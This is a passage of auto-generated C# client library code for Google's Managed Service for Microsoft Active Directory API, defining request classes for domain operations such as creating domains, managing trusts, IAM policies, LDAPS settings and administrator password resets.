public class AttachTrustRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new AttachTrust request.</summary>
public AttachTrustRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.AttachTrustRequest body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>
/// Required. The resource domain name, project name and location using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.AttachTrustRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "attachTrust";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}:attachTrust";
/// <summary>Initializes AttachTrust parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>Creates a Microsoft AD domain.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="parent">
/// Required. The resource project name and location using the form:
/// `projects/{project_id}/locations/global`
/// </param>
public virtual CreateRequest Create(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Domain body, string parent)
{
return new CreateRequest(service, body, parent);
}
/// <summary>Creates a Microsoft AD domain.</summary>
public class CreateRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new Create request.</summary>
public CreateRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Domain body, string parent) : base(service)
{
Parent = parent;
Body = body;
InitParameters();
}
/// <summary>
/// Required. The resource project name and location using the form:
/// `projects/{project_id}/locations/global`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Parent { get; private set; }
/// <summary>
/// Required. A domain name, e.g. mydomain.myorg.com, with the following restrictions: * Must
/// contain only lowercase letters, numbers, periods and hyphens. * Must start with a letter. *
/// Must contain between 2-64 characters. * Must end with a number or a letter. * Must not start
/// with period. * First segment length (mydomain form example above) shouldn't exceed 15 chars.
/// * The last segment cannot be fully numeric. * Must be unique within the customer project.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("domainName", Google.Apis.Util.RequestParameterType.Query)]
public virtual string DomainName { get; set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Domain Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "create";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+parent}/domains";
/// <summary>Initializes Create parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter
{
Name = "parent",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global$",
});
RequestParameters.Add("domainName", new Google.Apis.Discovery.Parameter
{
Name = "domainName",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>Deletes a domain.</summary>
/// <param name="name">
/// Required. The domain resource name using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </param>
public virtual DeleteRequest Delete(string name)
{
return new DeleteRequest(service, name);
}
/// <summary>Deletes a domain.</summary>
public class DeleteRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new Delete request.</summary>
public DeleteRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>
/// Required. The domain resource name using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "delete";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "DELETE";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Delete parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>Removes an AD trust.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">
/// Required. The resource domain name, project name, and location using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </param>
public virtual DetachTrustRequest DetachTrust(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.DetachTrustRequest body, string name)
{
return new DetachTrustRequest(service, body, name);
}
/// <summary>Removes an AD trust.</summary>
public class DetachTrustRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new DetachTrust request.</summary>
public DetachTrustRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.DetachTrustRequest body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>
/// Required. The resource domain name, project name, and location using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.DetachTrustRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "detachTrust";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}:detachTrust";
/// <summary>Initializes DetachTrust parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>Gets information about a domain.</summary>
/// <param name="name">
/// Required. The domain resource name using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </param>
public virtual GetRequest Get(string name)
{
return new GetRequest(service, name);
}
/// <summary>Gets information about a domain.</summary>
public class GetRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Domain>
{
/// <summary>Constructs a new Get request.</summary>
public GetRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>
/// Required. The domain resource name using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "get";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Get parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>
/// Gets the access control policy for a resource. Returns an empty policy if the resource exists
/// and does not have a policy set.
/// </summary>
/// <param name="resource">
/// REQUIRED: The resource for which the policy is being requested. See the operation documentation
/// for the appropriate value for this field.
/// </param>
public virtual GetIamPolicyRequest GetIamPolicy(string resource)
{
return new GetIamPolicyRequest(service, resource);
}
/// <summary>
/// Gets the access control policy for a resource. Returns an empty policy if the resource exists
/// and does not have a policy set.
/// </summary>
public class GetIamPolicyRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Policy>
{
/// <summary>Constructs a new GetIamPolicy request.</summary>
public GetIamPolicyRequest(Google.Apis.Services.IClientService service, string resource) : base(service)
{
Resource = resource;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>
/// Optional. The policy format version to be returned. Valid values are 0, 1, and 3. Requests
/// specifying an invalid value will be rejected. Requests for policies with any conditional
/// bindings must specify version 3. Policies without any conditional bindings may specify any
/// valid value or leave the field unset. To learn which resources support conditions in their
/// IAM policies, see the [IAM
/// documentation](https://cloud.google.com/iam/help/conditions/resource-policies).
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("options.requestedPolicyVersion", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<int> OptionsRequestedPolicyVersion { get; set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "getIamPolicy";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:getIamPolicy";
/// <summary>Initializes GetIamPolicy parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
RequestParameters.Add("options.requestedPolicyVersion", new Google.Apis.Discovery.Parameter
{
Name = "options.requestedPolicyVersion",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>Gets the domain ldaps settings.</summary>
/// <param name="name">
/// Required. The domain resource name using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </param>
public virtual GetLdapssettingsRequest GetLdapssettings(string name)
{
return new GetLdapssettingsRequest(service, name);
}
/// <summary>Gets the domain ldaps settings.</summary>
public class GetLdapssettingsRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.LDAPSSettings>
{
/// <summary>Constructs a new GetLdapssettings request.</summary>
public GetLdapssettingsRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>
/// Required. The domain resource name using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "getLdapssettings";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}/ldapssettings";
/// <summary>Initializes GetLdapssettings parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>Lists domains in a project.</summary>
/// <param name="parent">
/// Required. The resource name of the domain location using the form:
/// `projects/{project_id}/locations/global`
/// </param>
public virtual ListRequest List(string parent)
{
return new ListRequest(service, parent);
}
/// <summary>Lists domains in a project.</summary>
public class ListRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ListDomainsResponse>
{
/// <summary>Constructs a new List request.</summary>
public ListRequest(Google.Apis.Services.IClientService service, string parent) : base(service)
{
Parent = parent;
InitParameters();
}
/// <summary>
/// Required. The resource name of the domain location using the form:
/// `projects/{project_id}/locations/global`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Parent { get; private set; }
/// <summary>
/// Optional. A filter specifying constraints of a list operation. For example,
/// `Domain.fqdn="mydomain.myorginization"`.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)]
public virtual string Filter { get; set; }
/// <summary>
/// Optional. Specifies the ordering of results. See [Sorting
/// order](https://cloud.google.com/apis/design/design_patterns#sorting_order) for more
/// information.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("orderBy", Google.Apis.Util.RequestParameterType.Query)]
public virtual string OrderBy { get; set; }
/// <summary>
/// Optional. The maximum number of items to return. If not specified, a default value of 1000
/// will be used. Regardless of the page_size value, the response may include a partial list.
/// Callers should rely on a response's next_page_token to determine if there are additional
/// results to list.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<int> PageSize { get; set; }
/// <summary>
/// The `next_page_token` value returned from a previous ListDomainsRequest request, if any.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)]
public virtual string PageToken { get; set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "list";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+parent}/domains";
/// <summary>Initializes List parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter
{
Name = "parent",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global$",
});
RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter
{
Name = "filter",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("orderBy", new Google.Apis.Discovery.Parameter
{
Name = "orderBy",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter
{
Name = "pageSize",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter
{
Name = "pageToken",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>Updates the metadata and configuration of a domain.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">
/// Output only. The unique name of the domain using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`.
/// </param>
public virtual PatchRequest Patch(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Domain body, string name)
{
return new PatchRequest(service, body, name);
}
/// <summary>Updates the metadata and configuration of a domain.</summary>
public class PatchRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new Patch request.</summary>
public PatchRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Domain body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>
/// Output only. The unique name of the domain using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>
/// Required. Mask of fields to update. At least one path must be supplied in this field. The
/// elements of the repeated paths field may only include fields from Domain: * `labels` *
/// `locations` * `authorized_networks` * `audit_logs_enabled`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("updateMask", Google.Apis.Util.RequestParameterType.Query)]
public virtual object UpdateMask { get; set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Domain Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "patch";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "PATCH";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Patch parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
RequestParameters.Add("updateMask", new Google.Apis.Discovery.Parameter
{
Name = "updateMask",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>Updates the DNS conditional forwarder.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">
/// Required. The resource domain name, project name and location using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </param>
public virtual ReconfigureTrustRequest ReconfigureTrust(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ReconfigureTrustRequest body, string name)
{
return new ReconfigureTrustRequest(service, body, name);
}
/// <summary>Updates the DNS conditional forwarder.</summary>
public class ReconfigureTrustRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new ReconfigureTrust request.</summary>
public ReconfigureTrustRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ReconfigureTrustRequest body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>
/// Required. The resource domain name, project name and location using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ReconfigureTrustRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "reconfigureTrust";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}:reconfigureTrust";
/// <summary>Initializes ReconfigureTrust parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>Resets a domain's administrator password.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">
/// Required. The domain resource name using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </param>
public virtual ResetAdminPasswordRequest ResetAdminPassword(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ResetAdminPasswordRequest body, string name)
{
return new ResetAdminPasswordRequest(service, body, name);
}
/// <summary>Resets a domain's administrator password.</summary>
public class ResetAdminPasswordRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ResetAdminPasswordResponse>
{
/// <summary>Constructs a new ResetAdminPassword request.</summary>
public ResetAdminPasswordRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ResetAdminPasswordRequest body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>
/// Required. The domain resource name using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ResetAdminPasswordRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "resetAdminPassword";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}:resetAdminPassword";
/// <summary>Initializes ResetAdminPassword parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>
/// Sets the access control policy on the specified resource. Replaces any existing policy. Can
/// return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors.
/// </summary>
/// <param name="body">The body of the request.</param>
/// <param name="resource">
/// REQUIRED: The resource for which the policy is being specified. See the operation documentation
/// for the appropriate value for this field.
/// </param>
public virtual SetIamPolicyRequest SetIamPolicy(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest body, string resource)
{
return new SetIamPolicyRequest(service, body, resource);
}
/// <summary>
/// Sets the access control policy on the specified resource. Replaces any existing policy. Can
/// return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors.
/// </summary>
public class SetIamPolicyRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Policy>
{
/// <summary>Constructs a new SetIamPolicy request.</summary>
public SetIamPolicyRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest body, string resource) : base(service)
{
Resource = resource;
Body = body;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy is being specified. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "setIamPolicy";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:setIamPolicy";
/// <summary>Initializes SetIamPolicy parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>
/// Returns permissions that a caller has on the specified resource. If the resource does not exist,
/// this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This operation is
/// designed to be used for building permission-aware UIs and command-line tools, not for
/// authorization checking. This operation may "fail open" without warning.
/// </summary>
/// <param name="body">The body of the request.</param>
/// <param name="resource">
/// REQUIRED: The resource for which the policy detail is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </param>
public virtual TestIamPermissionsRequest TestIamPermissions(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest body, string resource)
{
return new TestIamPermissionsRequest(service, body, resource);
}
/// <summary>
/// Returns permissions that a caller has on the specified resource. If the resource does not exist,
/// this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This operation is
/// designed to be used for building permission-aware UIs and command-line tools, not for
/// authorization checking. This operation may "fail open" without warning.
/// </summary>
public class TestIamPermissionsRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsResponse>
{
/// <summary>Constructs a new TestIamPermissions request.</summary>
public TestIamPermissionsRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest body, string resource) : base(service)
{
Resource = resource;
Body = body;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy detail is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "testIamPermissions";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:testIamPermissions";
/// <summary>Initializes TestIamPermissions parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
}
}
/// <summary>Patches a single ldaps settings.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">
/// The resource name of the LDAPS settings. Uses the form:
/// `projects/{project}/locations/{location}/domains/{domain}`.
/// </param>
public virtual UpdateLdapssettingsRequest UpdateLdapssettings(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.LDAPSSettings body, string name)
{
return new UpdateLdapssettingsRequest(service, body, name);
}
/// <summary>Patches a single ldaps settings.</summary>
public class UpdateLdapssettingsRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Operation>
{
/// <summary>Constructs a new UpdateLdapssettings request.</summary>
public UpdateLdapssettingsRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.LDAPSSettings body, string name) : base(service)
{
Name = name;
Body = body;
InitParameters();
}
/// <summary>
/// The resource name of the LDAPS settings. Uses the form:
/// `projects/{project}/locations/{location}/domains/{domain}`.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>
/// Required. Mask of fields to update. At least one path must be supplied in this field. For
/// the `FieldMask` definition, see
/// https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#fieldmask
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("updateMask", Google.Apis.Util.RequestParameterType.Query)]
public virtual object UpdateMask { get; set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.LDAPSSettings Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "updateLdapssettings";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "PATCH";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}/ldapssettings";
/// <summary>Initializes UpdateLdapssettings parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
RequestParameters.Add("updateMask", new Google.Apis.Discovery.Parameter
{
Name = "updateMask",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>
/// Validates a trust state, that the target domain is reachable, and that the target domain is able
/// to accept incoming trust requests.
/// </summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">
/// Required. The resource domain name, project name, and location using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </param>
